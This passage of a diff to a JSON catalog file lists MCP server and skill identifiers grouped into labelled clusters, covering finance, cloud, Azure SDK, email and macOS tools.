"mcp-server:polymarket-trading-intelligence", + "mcp-server:prediction-markets", + "mcp-server:prediction-markets-polymarket-predictit-kalshi", + "mcp-server:preflyte", + "mcp-server:prereason", + "mcp-server:pretorin-compliance", + "mcp-server:profitelligence", + "mcp-server:protein-data-bank", + "mcp-server:public-apis", + "mcp-server:public-apis-catalogue", + "mcp-server:pump-fun", + "mcp-server:pump-fun-sdk", + "mcp-server:pvpc-spain-electricity", + "mcp-server:pykrx", + "mcp-server:quantconnect", + "mcp-server:quantcontext", + "mcp-server:quanttogo", + "mcp-server:qweather", + "mcp-server:ragalgo", + "mcp-server:railway", + "mcp-server:random-org", + "mcp-server:real-estate", + "mcp-server:real-estate-data-manager", + "mcp-server:realopen", + "mcp-server:ree-spain-electricity", + "mcp-server:renoun", + "mcp-server:rest-apis", + "mcp-server:retsinformation-danish-law", + "mcp-server:revenue-enablement", + "mcp-server:riksdag-regering", + "mcp-server:risky-business-ai", + "mcp-server:rnwy-trust-intelligence", + "mcp-server:rowhint-seat-intelligence", + "mcp-server:rug-munch-intelligence", + "mcp-server:safe-wallet", + "mcp-server:salesforce-data-cloud", + "mcp-server:salesforce-schema-intelligence", + "mcp-server:samhsa-behavioral-health", + "mcp-server:sbb", + "mcp-server:scb-open-data", + "mcp-server:scb-opendata", + "mcp-server:sec-edgar", + "mcp-server:sec-edgar-by-cyanheads", + "mcp-server:secop-colombia", + "mcp-server:sectors-financial-data", + "mcp-server:senechal-health", + "mcp-server:seoul-essentials", + "mcp-server:seoul-tago-subway", + "mcp-server:service-public-france", + "mcp-server:sh-sparkforge-sparkforge", + "mcp-server:shibui-finance", + "mcp-server:shoptera-product-intelligence", + "mcp-server:should-i-go", + "mcp-server:sieve", + "mcp-server:sigma-data-model-converter", + "mcp-server:signalfuse", + "mcp-server:simap-swiss-procurement", + "mcp-server:simplefunctions", + "mcp-server:simpson-strong-tie-catalog", + "mcp-server:simsar", + "mcp-server:skyfi-satellite-imagery", + "mcp-server:smard-electricity-prices", + "mcp-server:smart-data-models", + "mcp-server:smartsheet-for-healthcare", + "mcp-server:sms-validator", + "mcp-server:sncf-train-journey-planner", + "mcp-server:solana", + "mcp-server:solana-agent", + "mcp-server:solana-agent-kit", + "mcp-server:solana-blockchain", + "mcp-server:solana-blockchain-explorer", + "mcp-server:solana-defi", + "mcp-server:solana-dev", + "mcp-server:solana-docs", + "mcp-server:solana-fees", + "mcp-server:solana-fender", + "mcp-server:solana-launches", + "mcp-server:solana-pay", + "mcp-server:solana-pools", + "mcp-server:solana-rugcheck-transaction-helper", + "mcp-server:solana-vault", + "mcp-server:solmail", + "mcp-server:solx402", + "mcp-server:soon-blockchain", + "mcp-server:sophtron-financial-data-connection", + "mcp-server:space-weather", + "mcp-server:spain-legal-by-legal-fournier", + "mcp-server:spanish-public-info-radar", + "mcp-server:spectra-finance", + "mcp-server:sperax-defi", + "mcp-server:spot", + "mcp-server:spraay-solana-gateway", + "mcp-server:sputnikx-market", + "mcp-server:ssi-stock-vietnamese-market-data", + "mcp-server:stack-exchange", + "mcp-server:star-wars-planet-data-couchbase", + "mcp-server:star-wars-planetary-data", + "mcp-server:stargate-by-junct", + "mcp-server:stark-bank", + "mcp-server:starling-bank", + "mcp-server:statistics-canada", + "mcp-server:statistics-norway", + "mcp-server:statistics-sweden", + "mcp-server:status-invest", + "mcp-server:stellar-blockchain", + "mcp-server:stock-analysis-india", + "mcp-server:stock-info-akshare", + "mcp-server:stock-market-alpha-vantage", + "mcp-server:stock-market-analysis-tools", + "mcp-server:stock-market-yfinance", + "mcp-server:stock-price", + "mcp-server:stock-quote", + "mcp-server:stock-scanner", + "mcp-server:stockflow-yahoo-finance", + "mcp-server:stockmarketscan", + "mcp-server:stockscope", + "mcp-server:stockscreen-yahoo-finance", + "mcp-server:stocksense", + "mcp-server:stratevo", + "mcp-server:stratoforce-revenue-intelligence", + "mcp-server:stream-estate", + "mcp-server:structured-data-validator", + "mcp-server:substrate-blockchain", + "mcp-server:sui-blockchain", + "mcp-server:sunrise-sunset", + "mcp-server:supplymaven-risk-intelligence", + "mcp-server:surf", + "mcp-server:surf-stormglass", + "mcp-server:svim-stock", + "mcp-server:sweden-farm-grants", + "mcp-server:sweden-farm-planning", + "mcp-server:sweden-food-safety", + "mcp-server:sweden-land-woodland", + "mcp-server:sweden-organic-regenerative-farming", + "mcp-server:swiss-ai-labor-market", + "mcp-server:swiss-ephemeris", + "mcp-server:swiss-health-insurance-premiums", + "mcp-server:swiss-open-data", + "mcp-server:swiss-public-transport", + "mcp-server:swiss-transport", + "mcp-server:swiss-truth", + "mcp-server:switzerland-food-safety-law", + "mcp-server:switzerland-land-woodland-law", + "mcp-server:symbol-blockchain", + "mcp-server:synthetix-by-junct", + "mcp-server:system-r-risk-intelligence", + "mcp-server:taiwan-legal-db", + "mcp-server:taiwan-real-estate", + "mcp-server:taiwan-stock-exchange", + "mcp-server:taiwan-weather", + "mcp-server:taiwan-weather-cwa", + "mcp-server:tally-dao-governance", + "mcp-server:tapetide-stock-research", + "mcp-server:taskman-london", + "mcp-server:tatum-blockchain", + "mcp-server:tesouro-direto", + "mcp-server:tfl-london-transport", + "mcp-server:tfnsw-realtime-alerts", + "mcp-server:the-data-collector", + "mcp-server:theartofservice-compliance-intelligence", + "mcp-server:tickerdb", + "mcp-server:tickerr", + "mcp-server:tickory", + "mcp-server:tle", + "mcp-server:tmdb-movie-data", + "mcp-server:token-compressor", + "mcp-server:token-economist", + "mcp-server:token-enhancer", + "mcp-server:token-holders", + "mcp-server:token-minter", + "mcp-server:token-ohlcv", + "mcp-server:token-optimizer", + "mcp-server:token-pilot-by-digital-threads", + "mcp-server:token-price", + "mcp-server:token-revoke", + "mcp-server:token-safety", + "mcp-server:token-savior", + "mcp-server:token-tool", + "mcp-server:tokenmonkey", + "mcp-server:tooloracle-macro", + "mcp-server:tooloracle-shop", + "mcp-server:tooloracle-smart-money", + "mcp-server:tooloracle-yield", + "mcp-server:toreva", + "mcp-server:torobjo-iranian-price-comparison", + "mcp-server:tosheroon", + "mcp-server:trade-it", + "mcp-server:tradememory", + "mcp-server:tradernet", + "mcp-server:traderouter", + "mcp-server:traderwai", + "mcp-server:tradestaq", + "mcp-server:tradex", + "mcp-server:trading-simulator", + "mcp-server:trading212", + "mcp-server:tradingagents-chinese-stocks", + "mcp-server:tradingale", + "mcp-server:tradingcalc", + "mcp-server:tradingview-morning-brief", + "mcp-server:tradovate", + "mcp-server:trans-eu", + "mcp-server:transport-for-london", + "mcp-server:transport-nsw", + "mcp-server:trayd", + "mcp-server:treasury", + "mcp-server:troystack", + "mcp-server:true-markets", + "mcp-server:true-value-rankings", + "mcp-server:truerag-compliance-policies", + "mcp-server:tunapay-solana-tx-classifier", + "mcp-server:turkish-electronic-markets", + "mcp-server:turkish-legal-databases", + "mcp-server:tushare", + "mcp-server:tushare-chinese-financial-data", + "mcp-server:twelve-data", + "mcp-server:twincat-validator", + "mcp-server:uk-case-law", + "mcp-server:uk-civic-parliamentary", + "mcp-server:uk-constituencies", + "mcp-server:uk-court-finder", + "mcp-server:uk-data-api", + "mcp-server:uk-environmental-intelligence", + "mcp-server:uk-farm-grants", + "mcp-server:uk-farm-planning", + "mcp-server:uk-food-safety", + "mcp-server:uk-hansard", + "mcp-server:uk-legal-research", + "mcp-server:uk-legislation", + "mcp-server:uk-organic-regenerative-farming", + "mcp-server:uk-parliament", + "mcp-server:uk-parliament-committees", + "mcp-server:uk-parliament-data", + "mcp-server:uk-parliament-erskine-may", + "mcp-server:uk-parliament-interests", + "mcp-server:uk-parliament-lords-votes", + "mcp-server:uk-parliament-members", + "mcp-server:uk-parliament-now", + "mcp-server:uk-parliament-oral-questions-motions", + "mcp-server:uk-parliament-questions-statements", + "mcp-server:uk-parliament-statutory-instruments", + "mcp-server:uk-parliament-treaties", + "mcp-server:uk-petitions", + "mcp-server:uk-planning", + "mcp-server:uk-property-business", + "mcp-server:uk-public-services-health", + "mcp-server:uk-standards", + "mcp-server:ukrainian-statistics", + "mcp-server:un-data-commons", + "mcp-server:un-world-demographics", + "mcp-server:unclaimed-sol", + "mcp-server:unhcr-refugee-statistics", + "mcp-server:uniswap-trader", + "mcp-server:universal-crypto", + "mcp-server:up-bank", + "mcp-server:upbit", + "mcp-server:us-business-data", + "mcp-server:us-business-entity-data", + "mcp-server:us-city-data", + "mcp-server:us-drought-monitor-by-olyport", + "mcp-server:us-fiscal-data", + "mcp-server:us-government-data", + "mcp-server:us-legal", + "mcp-server:us-weather-nws", + "mcp-server:usense-chinese-company-data", + "mcp-server:usgs-earthquake-data", + "mcp-server:usgs-earthquake-data-by-olyport", + "mcp-server:usgs-water", + "mcp-server:usgs-water-data", + "mcp-server:usgs-water-monitoring", + "mcp-server:va-healthcare-facilities", + "mcp-server:varrd", + "mcp-server:vedurstofa", + "mcp-server:vega-lite-data-visualization", + "mcp-server:ventureforges-growth-forecast-validation", + "mcp-server:verkada-camera-alerts", + "mcp-server:vigo-hk-regulatory-intelligence", + "mcp-server:vilnius-transport", + "mcp-server:vin-lookup", + "mcp-server:vincario-vehicle-data", + "mcp-server:vnstock", + "mcp-server:volume-wall-detector", + "mcp-server:vulnerability-intelligence", + "mcp-server:vybe-solana-api", + "mcp-server:wallet-portfolio", + "mcp-server:walletap", + "mcp-server:war-dashboard-data", + "mcp-server:wattcoin", + "mcp-server:wealthy-trading-platform", + "mcp-server:weather", + "mcp-server:weather-alerts-forecasts", + "mcp-server:weather-template", + "mcp-server:weatherapi", + "mcp-server:weatherforensics", + "mcp-server:weathertrax", + "mcp-server:weatherxm-pro", + "mcp-server:web3-blockchain-interface", + "mcp-server:webull", + "mcp-server:wems-natural-hazards", + "mcp-server:whooing", + "mcp-server:withings-health", + "mcp-server:wolfpack-intelligence", + "mcp-server:world-bank-data", + "mcp-server:world-cup-2026", + "mcp-server:world-weather-online", + "mcp-server:x402-defi-data-api", + "mcp-server:x402-payments", + "mcp-server:xtquant-ai", + "mcp-server:yahoo-finance", + "mcp-server:yfinance-trader", + "mcp-server:zaragoza-tram", + "mcp-server:zarq-crypto-risk-intelligence", + "mcp-server:zefix-swiss-business-registry", + "mcp-server:zenmemory-solana", + "mcp-server:zerodha", + "mcp-server:zerodha-kite", + "mcp-server:zerodha-mock-trading", + "mcp-server:zk-lighter-trading-bot", + "mcp-server:zooid-fund", + "mcp-server:zscaler-zero-trust-exchange", + "mcp-server:zugferd-validator" + ] + }, + "4": { + "label": "Community + Azure + Cloud", + "members": [ + "mcp-server:3d-print-oracle", + "mcp-server:402-bot-discovery-oracle", + "mcp-server:agent-cost", + "mcp-server:ai-cortex-storage", + "mcp-server:ai-infrastructure-agent-aws", + "mcp-server:akave-storage", + "mcp-server:alexa-shopping-list", + "mcp-server:ali-oss", + "mcp-server:alibaba-cloud", + "mcp-server:alibaba-cloud-adb-mysql", + "mcp-server:alibaba-cloud-dms", + "mcp-server:alibaba-cloud-edge-security-acceleration", + "mcp-server:alibaba-cloud-function-compute", + "mcp-server:alibaba-cloud-lindorm", + "mcp-server:alibaba-cloud-observability", + "mcp-server:alibaba-cloud-operations", + "mcp-server:alibaba-cloud-rds", + "mcp-server:alibaba-cloud-supabase", + "mcp-server:aliyun-cloud", + "mcp-server:amazon-alexa", + "mcp-server:amazon-bedrock-agentcore", + "mcp-server:amazon-ecs", + "mcp-server:amazon-eks", + "mcp-server:amazon-nova-reel", + "mcp-server:amazon-order-history", + "mcp-server:amazon-products", + "mcp-server:amazon-s3", + "mcp-server:archlift-java-modernization", + "mcp-server:argo-cd", + "mcp-server:argocd", + "mcp-server:astronomy-oracle", + "mcp-server:authenticated-cloud-run", + "mcp-server:autodesk-construction-cloud-via-aps", + "mcp-server:aws", + "mcp-server:aws-amplify-data", + "mcp-server:aws-athena", + "mcp-server:aws-bedrock", + "mcp-server:aws-bedrock-guardrails", + "mcp-server:aws-bedrock-knowledge-base", + "mcp-server:aws-bedrock-knowledge-base-retrieval", + "mcp-server:aws-bedrock-nova-canvas", + "mcp-server:aws-billing-unified", + "mcp-server:aws-cloud-development-kit", + "mcp-server:aws-cloudwatch", + "mcp-server:aws-cognito", + "mcp-server:aws-cost-analysis", + "mcp-server:aws-cost-explorer", + "mcp-server:aws-cost-explorer-and-bedrock-usage-analytics", + "mcp-server:aws-cost-optimization-hub", + "mcp-server:aws-devops-agent", + "mcp-server:aws-ec2-pricing", + "mcp-server:aws-ireveal", + "mcp-server:aws-knowledge", + "mcp-server:aws-knowledge-base", + "mcp-server:aws-labs", + "mcp-server:aws-lambda", + "mcp-server:aws-managed", + "mcp-server:aws-nova-canvas", + "mcp-server:aws-oscal", + "mcp-server:aws-resource-manager", + "mcp-server:aws-resources", + "mcp-server:aws-s3", + "mcp-server:aws-sage", + "mcp-server:aws-sdk", + "mcp-server:aws-service-reference", + "mcp-server:azure", + "mcp-server:azure-ai-foundry", + "mcp-server:azure-ai-search", + "mcp-server:azure-api-management-gateway-with-entra-id-authentication", + "mcp-server:azure-assistant", + "mcp-server:azure-cloud-manager", + "mcp-server:azure-containerization-assist", + "mcp-server:azure-cosmos-db", + "mcp-server:azure-data-explorer", + "mcp-server:azure-data-explorer-kusto", + "mcp-server:azure-devops", + "mcp-server:azure-devops-boards", + "mcp-server:azure-devops-cli", + "mcp-server:azure-devops-project-creator", + "mcp-server:azure-fhir", + "mcp-server:azure-function-apps", + "mcp-server:azure-game-studio", + "mcp-server:azure-impact-reporter", + "mcp-server:azure-java-sdk", + "mcp-server:azure-logic-apps", + "mcp-server:azure-omni-tool", + "mcp-server:azure-pricing", + "mcp-server:azure-resource-graph", + "mcp-server:azure-resource-management", + "mcp-server:azure-revisor", + "mcp-server:azure-table-storage", + "mcp-server:azure-updates", + "mcp-server:base-price-oracle", + "mcp-server:bibliomantic-oracle", + "mcp-server:bloodhound", + "mcp-server:bookmark-lens", + "mcp-server:bucket-feature-flagging", + "mcp-server:cdata-connect-cloud", + "mcp-server:clerk-authentication", + "mcp-server:clever-cloud", + "mcp-server:cloud-agent", + "mcp-server:cloud-audit", + "mcp-server:cloud-foundry", + "mcp-server:cloud-foundry-butler", + "mcp-server:cloud-foundry-hoover", + "mcp-server:cloud-infrastructure-manager", + "mcp-server:cloud-pilot", + "mcp-server:cloud-prince-prince", + "mcp-server:cloud-regions", + "mcp-server:cloud-sandboxes", + "mcp-server:cloud-services", + "mcp-server:cloudflare", + "mcp-server:cloudflare-ai-gateway", + "mcp-server:cloudflare-audit-logs", + "mcp-server:cloudflare-autorag", + "mcp-server:cloudflare-by-crunchtools", + "mcp-server:cloudflare-d1", + "mcp-server:cloudflare-dns-analytics", + "mcp-server:cloudflare-edge-calculator", + "mcp-server:cloudflare-edge-services", + "mcp-server:cloudflare-infrastructure", + "mcp-server:cloudflare-logpush", + "mcp-server:cloudflare-one-casb", + "mcp-server:cloudflare-radar", + "mcp-server:cloudflare-workers", + "mcp-server:cloudflare-workers-dns", + "mcp-server:cloudflare-workers-observability", + "mcp-server:cloudflare-workers-via-bindings", + "mcp-server:cloudforge", + "mcp-server:cloudinary", + "mcp-server:cloudinary-asset-management", + "mcp-server:cloudinary-environment-config", + "mcp-server:cloudscape-design-system-documentation", + "mcp-server:cloudscope", + "mcp-server:confluence-cloud", + "mcp-server:confluent-cloud", + "mcp-server:context-storage", + "mcp-server:cosmosdb", + "mcp-server:cyclops", + "mcp-server:cypress-cloud", + "mcp-server:d-d-oracle", + "mcp-server:delphi-oracle", + "mcp-server:dep-oracle", + "mcp-server:deployment-io", + "mcp-server:descartes-java-debugger", + "mcp-server:descope-authentication", + "mcp-server:devops-enhanced-azure-devops", + "mcp-server:discord-cloud", + "mcp-server:dot", + "mcp-server:dot-ai-kubernetes-deployment", + "mcp-server:dotnet-types-explorer", + "mcp-server:ecs-cloud-storage", + "mcp-server:eks-node-diagnostics", + "mcp-server:eyevinn-open-source-cloud", + "mcp-server:f5-distributed-cloud-terraform", + "mcp-server:fabric-ai-patterns", + "mcp-server:fabric-atelier", + "mcp-server:far-oracle", + "mcp-server:fatture-in-cloud", + "mcp-server:force-fabric", + "mcp-server:gas-oracle", + "mcp-server:genesys-cloud", + "mcp-server:geoserver-cloud", + "mcp-server:getkin-agent-infrastructure", + "mcp-server:grounddocs", + "mcp-server:headless-oracle", + "mcp-server:hearthstone-oracle", + "mcp-server:hetzner-cloud", + "mcp-server:ibm-cloud-cli", + "mcp-server:infisical-secrets-management", + "mcp-server:infra-lens", + "mcp-server:infrastructure", + "mcp-server:infrastructure-archaeology", + "mcp-server:inspektor-gadget", + "mcp-server:jadx-java-decompiler", + "mcp-server:java-class-analyzer", + "mcp-server:java-conferences", + "mcp-server:java-debug-adapter-protocol", + "mcp-server:java-profiler", + "mcp-server:java-sink-tracer", + "mcp-server:joe-sandbox-cloud", + "mcp-server:join-cloud", + "mcp-server:jsondb-cloud", + "mcp-server:k8s-port-forward", + "mcp-server:kafka-streaming", + "mcp-server:kestra", + "mcp-server:keyvault-pro", + "mcp-server:kpi-lens", + "mcp-server:kql", + "mcp-server:ksail", + "mcp-server:kube-mcp", + "mcp-server:kubeblocks-cloud", + "mcp-server:kubecon-eu-2026-conference-guide", + "mcp-server:kubectl", + "mcp-server:kubernetes", + "mcp-server:kubernetes-ai-assistant", + "mcp-server:kubernetes-audit-logs", + "mcp-server:kubernetes-claude", + "mcp-server:kubernetes-eye", + "mcp-server:kubernetes-gpu-agent", + "mcp-server:kubernetes-lens", + "mcp-server:kubernetes-listpods", + "mcp-server:kubernetes-manager", + "mcp-server:kubernetes-monitoring", + "mcp-server:kubernetes-multi-cluster-manager", + "mcp-server:kubernetes-natural-language-commander", + "mcp-server:kubernetes-pilot", + "mcp-server:kubernetes-read-only", + "mcp-server:kubernetes-read-only-by-your-ko", + "mcp-server:kubernetes-tools", + "mcp-server:kubeshark", + "mcp-server:kubesphere", + "mcp-server:kubeview", + "mcp-server:kubevirt", + "mcp-server:kubit", + "mcp-server:kuro", + "mcp-server:kusto-azure-data-explorer", + "mcp-server:kusto-nl2kql", + "mcp-server:kuzu", + "mcp-server:kuzudb", + "mcp-server:lambda-labs", + "mcp-server:lambda-layer", + "mcp-server:lego-oracle", + "mcp-server:lens", + "mcp-server:lenses", + "mcp-server:lightweight-cloudflare-worker", + "mcp-server:liquidation-oracle", + "mcp-server:loadrunner-cloud", + "mcp-server:loan-and-credit-management", + "mcp-server:lorcana-oracle", + "mcp-server:lumino-by-spre-sre", + "mcp-server:mariadb-cloud", + "mcp-server:metoro-kubernetes-observability", + "mcp-server:minio-object-storage", + "mcp-server:mongodb-lens", + "mcp-server:novita-ai-gpu-cloud", + "mcp-server:oci-pricing", + "mcp-server:omilia-cloud-platform", + "mcp-server:one-piece-oracle", + "mcp-server:openstack-commander", + "mcp-server:oracle-cloud-infrastructure", + "mcp-server:oracle-v2", + "mcp-server:oracle-vector-store", + "mcp-server:orchestra-cloud", + "mcp-server:orion-vision-azure-form-recognizer", + "mcp-server:paypal-java", + "mcp-server:pipecd", + "mcp-server:podman", + "mcp-server:power-bi-tabular", + "mcp-server:power-platform-azure-cli-bridge", + "mcp-server:pulumi-cloud-development", + "mcp-server:pythia-oracle", + "mcp-server:qiniu-cloud-storage", + "mcp-server:qovery", + "mcp-server:red-hat-openshift-ai", + "mcp-server:redis", + "mcp-server:redis-cloud", + "mcp-server:resource-hacker", + "mcp-server:resx-resource-files", + "mcp-server:roblox-open-cloud", + "mcp-server:rootcause-kubernetes", + "mcp-server:runpod", + "mcp-server:s3", + "mcp-server:s3-uploader", + "mcp-server:sakura-cloud", + "mcp-server:salesforce-cloud", + "mcp-server:salesforce-marketing-cloud", + "mcp-server:strimzi-kafka", + "mcp-server:taskchute-cloud-2", + "mcp-server:tekton-ci-cd", + "mcp-server:telecom-event-oracle", + "mcp-server:telekash-oracle", + "mcp-server:temporal-terraform-orchestrator", + "mcp-server:tencent-cloud-log-service", + "mcp-server:tencent-cloud-object-storage", + "mcp-server:tencent-cloudbase", + "mcp-server:terradev", + "mcp-server:terraform", + "mcp-server:terraform-cloud", + "mcp-server:terraform-ingest", + "mcp-server:terry-form-terraform", + "mcp-server:testkube", + "mcp-server:tfmcp", + "mcp-server:tft-oracle", + "mcp-server:things-cloud", + "mcp-server:thunder-compute", + "mcp-server:tigris-storage", + "mcp-server:timeweb-cloud", + "mcp-server:unified-tool-kit", + "mcp-server:vantage-cloud-cost-management", + "mcp-server:velero", + "mcp-server:waifu-queue", + "mcp-server:warhammer-oracle", + "mcp-server:windows-365-cloud-pc", + "mcp-server:xray-cloud", + "mcp-server:zstack-cloud", + "skill:agent-framework-azure-ai-py", + "skill:agents-v2-py", + "skill:azd-deployment", + "skill:azure-ai-agents-persistent-dotnet", + "skill:azure-ai-anomalydetector-java", + "skill:azure-ai-contentsafety-java", + "skill:azure-ai-contentsafety-py", + "skill:azure-ai-contentsafety-ts", + "skill:azure-ai-contentunderstanding-py", + "skill:azure-ai-document-intelligence-dotnet", + "skill:azure-ai-document-intelligence-ts", + "skill:azure-ai-formrecognizer-java", + "skill:azure-ai-ml-py", + "skill:azure-ai-openai-dotnet", + "skill:azure-ai-projects-dotnet", + "skill:azure-ai-projects-py", + "skill:azure-ai-projects-ts", + "skill:azure-ai-textanalytics-py", + "skill:azure-ai-translation-document-py", + "skill:azure-ai-translation-text-py", + "skill:azure-ai-translation-ts", + "skill:azure-ai-vision-imageanalysis-java", + "skill:azure-ai-vision-imageanalysis-py", + "skill:azure-ai-voicelive-dotnet", + "skill:azure-ai-voicelive-java", + "skill:azure-ai-voicelive-py", + "skill:azure-ai-voicelive-ts", + "skill:azure-appconfiguration-java", + "skill:azure-appconfiguration-py", + "skill:azure-appconfiguration-ts", + "skill:azure-communication-callautomation-java", + "skill:azure-communication-callingserver-java", + "skill:azure-communication-chat-java", + "skill:azure-communication-common-java", + "skill:azure-communication-sms-java", + "skill:azure-compute-batch-java", + "skill:azure-containerregistry-py", + "skill:azure-cosmos-db-py", + "skill:azure-cosmos-java", + "skill:azure-cosmos-py", + "skill:azure-cosmos-ts", + "skill:azure-data-tables-java", + "skill:azure-data-tables-py", + "skill:azure-eventgrid-dotnet", + "skill:azure-eventgrid-java", + "skill:azure-eventhub-dotnet", + "skill:azure-eventhub-java", + "skill:azure-eventhub-py", + "skill:azure-eventhub-rust", + "skill:azure-eventhub-ts", + "skill:azure-identity-dotnet", + "skill:azure-identity-java", + "skill:azure-identity-py", + "skill:azure-identity-ts", + "skill:azure-keyvault-keys-ts", + "skill:azure-keyvault-py", + "skill:azure-keyvault-secrets-ts", + "skill:azure-maps-search-dotnet", + "skill:azure-messaging-webpubsub-java", + "skill:azure-messaging-webpubsubservice-py", + "skill:azure-mgmt-apicenter-dotnet", + "skill:azure-mgmt-apicenter-py", + "skill:azure-mgmt-apimanagement-dotnet", + "skill:azure-mgmt-apimanagement-py", + "skill:azure-mgmt-applicationinsights-dotnet", + "skill:azure-mgmt-arizeaiobservabilityeval-dotnet", + "skill:azure-mgmt-botservice-dotnet", + "skill:azure-mgmt-botservice-py", + "skill:azure-mgmt-fabric-dotnet", + "skill:azure-mgmt-fabric-py", + "skill:azure-mgmt-mongodbatlas-dotnet", + "skill:azure-mgmt-weightsandbiases-dotnet", + "skill:azure-microsoft-playwright-testing-ts", + "skill:azure-monitor-ingestion-java", + "skill:azure-monitor-ingestion-py", + "skill:azure-monitor-opentelemetry-exporter-java", + "skill:azure-monitor-opentelemetry-exporter-py", + "skill:azure-monitor-opentelemetry-py", + "skill:azure-monitor-opentelemetry-ts", + "skill:azure-monitor-query-java", + "skill:azure-monitor-query-py", + "skill:azure-postgres-ts", + "skill:azure-resource-manager-cosmosdb-dotnet", + "skill:azure-resource-manager-durabletask-dotnet", + "skill:azure-resource-manager-mysql-dotnet", + "skill:azure-resource-manager-playwright-dotnet", + "skill:azure-resource-manager-postgresql-dotnet", + "skill:azure-resource-manager-redis-dotnet", + "skill:azure-resource-manager-sql-dotnet", + "skill:azure-search-documents-dotnet", + "skill:azure-search-documents-py", + "skill:azure-search-documents-ts", + "skill:azure-security-keyvault-keys-dotnet", + "skill:azure-security-keyvault-keys-java", + "skill:azure-security-keyvault-secrets-java", + "skill:azure-servicebus-dotnet", + "skill:azure-servicebus-py", + "skill:azure-servicebus-ts", + "skill:azure-speech-to-text-rest-py", + "skill:azure-storage-blob-java", + "skill:azure-storage-blob-py", + "skill:azure-storage-blob-ts", + "skill:azure-storage-file-datalake-py", + "skill:azure-storage-file-share-py", + "skill:azure-storage-file-share-ts", + "skill:azure-storage-queue-py", + "skill:azure-storage-queue-ts", + "skill:azure-web-pubsub-ts", + "skill:cloud-penetration-testing", + "skill:dotnet-backend", + "skill:dotnet-patterns", + "skill:event-store-design", + "skill:hosted-agents-v2-py", + "skill:langfuse", + "skill:m365-agents-dotnet", + "skill:m365-agents-py", + "skill:m365-agents-ts", + "skill:microsoft-azure-webjobs-extensions-authentication-events-dotnet", + "skill:runpod-compute", + "skill:skill-creator-ms", + "skill:twilio-communications", + "skill:voice-ai-development", + "skill:voice-ai-engine-development" + ] + }, + "5": { + "label": "Community + Official + Reference", + "members": [ + "mcp-server:163-email", + "mcp-server:163-mail", + "mcp-server:acms", + "mcp-server:activitywatch", + "mcp-server:agenda-app", + "mcp-server:agent-inbox", + "mcp-server:agent-mail", + "mcp-server:agentmail", + "mcp-server:agentsbase", + "mcp-server:apple-apps", + "mcp-server:apple-calendar", + "mcp-server:apple-calendar-reminders", + "mcp-server:apple-calendars", + "mcp-server:apple-health", + "mcp-server:apple-macos-native-applications", + "mcp-server:apple-mail", + "mcp-server:apple-native-apps", + "mcp-server:apple-notes", + "mcp-server:apple-notes-snapshot", + "mcp-server:apple-reminders", + "mcp-server:apple-shortcuts", + "mcp-server:apple-shortcuts-macos", + "mcp-server:applescript", + "mcp-server:aruba-email-calendar", + "mcp-server:aws-ses-email", + "mcp-server:axint", + "mcp-server:baepsae", + "mcp-server:bear-notes", + "mcp-server:better-email", + "mcp-server:blastengine-mailer", + "mcp-server:blip-email", + "mcp-server:bluestoneapps-react-native-standards", + "mcp-server:brevo", + "mcp-server:buttondown", + "mcp-server:cakemail", + "mcp-server:cal-com-calendar", + "mcp-server:cal2prompt-google-calendar", + "mcp-server:calendly", + "mcp-server:campaignkit", + "mcp-server:cardhop", + "mcp-server:catalog", + "mcp-server:chatgpt-macos-app", + "mcp-server:chattempmail", + "mcp-server:claudekeep-notes", + "mcp-server:clawaimail", + "mcp-server:clipboard", + "mcp-server:clippy-macos-clipboard", + "mcp-server:clockify", + "mcp-server:cloudflare-email", + "mcp-server:commune-email", + "mcp-server:ctftime", + "mcp-server:current-time", + "mcp-server:currenttimeutc", + "mcp-server:cut-copy-paste", + "mcp-server:datetime", + "mcp-server:datetime-formatter", + "mcp-server:demo-time", + "mcp-server:deskmate", + "mcp-server:disify", + "mcp-server:dmarcdkim-com", + "mcp-server:drafto", + "mcp-server:elastic-email", + "mcp-server:email", + "mcp-server:email-by-bischoffjeremy", + "mcp-server:email-deliverability-audit", + "mcp-server:email-finder", + "mcp-server:email-imap-smtp", + "mcp-server:email-manager", + "mcp-server:email-sender", + "mcp-server:email-server", + "mcp-server:email-service", + "mcp-server:email-smtp-imap", + "mcp-server:email-validator", + "mcp-server:email-verification", + "mcp-server:emailens", + "mcp-server:epochs", + "mcp-server:evernote", + "mcp-server:fastmail-jmap", + "mcp-server:fastmail-jmap-by-adamisrael", + "mcp-server:findtime", + "mcp-server:flint-note", + "mcp-server:fluentcrm", + "mcp-server:get-biji", + "mcp-server:get-notes", + "mcp-server:getmailer", + "mcp-server:gmail", + "mcp-server:gmail-and-google-calendar", + "mcp-server:gmail-send", + "mcp-server:google-calendar", + "mcp-server:google-calendar-events", + "mcp-server:google-meet-calendar", + "mcp-server:gwiz", + "mcp-server:headless-gmail", + "mcp-server:hebcal-jewish-calendar", + "mcp-server:heroicons", + "mcp-server:himalaya-email", + "mcp-server:ibrahim-s-calendar-google-calendar", + "mcp-server:icloud-calendar", + "mcp-server:icloud-mail", + "mcp-server:imap", + "mcp-server:imap-mini", + "mcp-server:imap-workflows", + "mcp-server:imcp-macos-system-integration", + "mcp-server:imessage", + "mcp-server:imessage-max", + "mcp-server:imessage-reader", + "mcp-server:inboxapi", + "mcp-server:instantly", + "mcp-server:its-just-ui", + "mcp-server:jmap-email", + "mcp-server:jmap-fastmail", + "mcp-server:jsx-notation", + "mcp-server:lilith-gmail", + "mcp-server:listmonk", + "mcp-server:localizable-xcstrings", + "mcp-server:m-l-ch-vietnamese-calendar", + "mcp-server:mac-apps-launcher", + "mcp-server:mac-control", + "mcp-server:mac-letterhead", + "mcp-server:mac-messages", + "mcp-server:mac-use", + "mcp-server:mac-volume-controller", + "mcp-server:maccy-clipboard-history", + "mcp-server:machfive", + "mcp-server:macos-automator", + "mcp-server:macos-calendar", + "mcp-server:macos-calendar-reminders", + "mcp-server:macos-clipboard", + "mcp-server:macos-computer-use", + "mcp-server:macos-defaults", + "mcp-server:macos-forensics", + "mcp-server:macos-gui-control", + "mcp-server:macos-mail", + "mcp-server:macos-messages", + "mcp-server:macos-notification", + "mcp-server:macos-notifications-with-tmux", + "mcp-server:macos-notifier", + "mcp-server:macos-photos", + "mcp-server:macos-say", + "mcp-server:macos-screenshot", + "mcp-server:macos-shortcuts", + "mcp-server:macos-system", + "mcp-server:macos-system-services-imcp", + "mcp-server:macos-ui-automation", + "mcp-server:macpilot", + "mcp-server:macuse", + "mcp-server:mail", + "mcp-server:mail-imap", + "mcp-server:mail-imap-smtp", + "mcp-server:mailchimp", + "mcp-server:maildev", + "mcp-server:mailerlite", + "mcp-server:mailersend", + "mcp-server:mailgun", + "mcp-server:mailpace", + 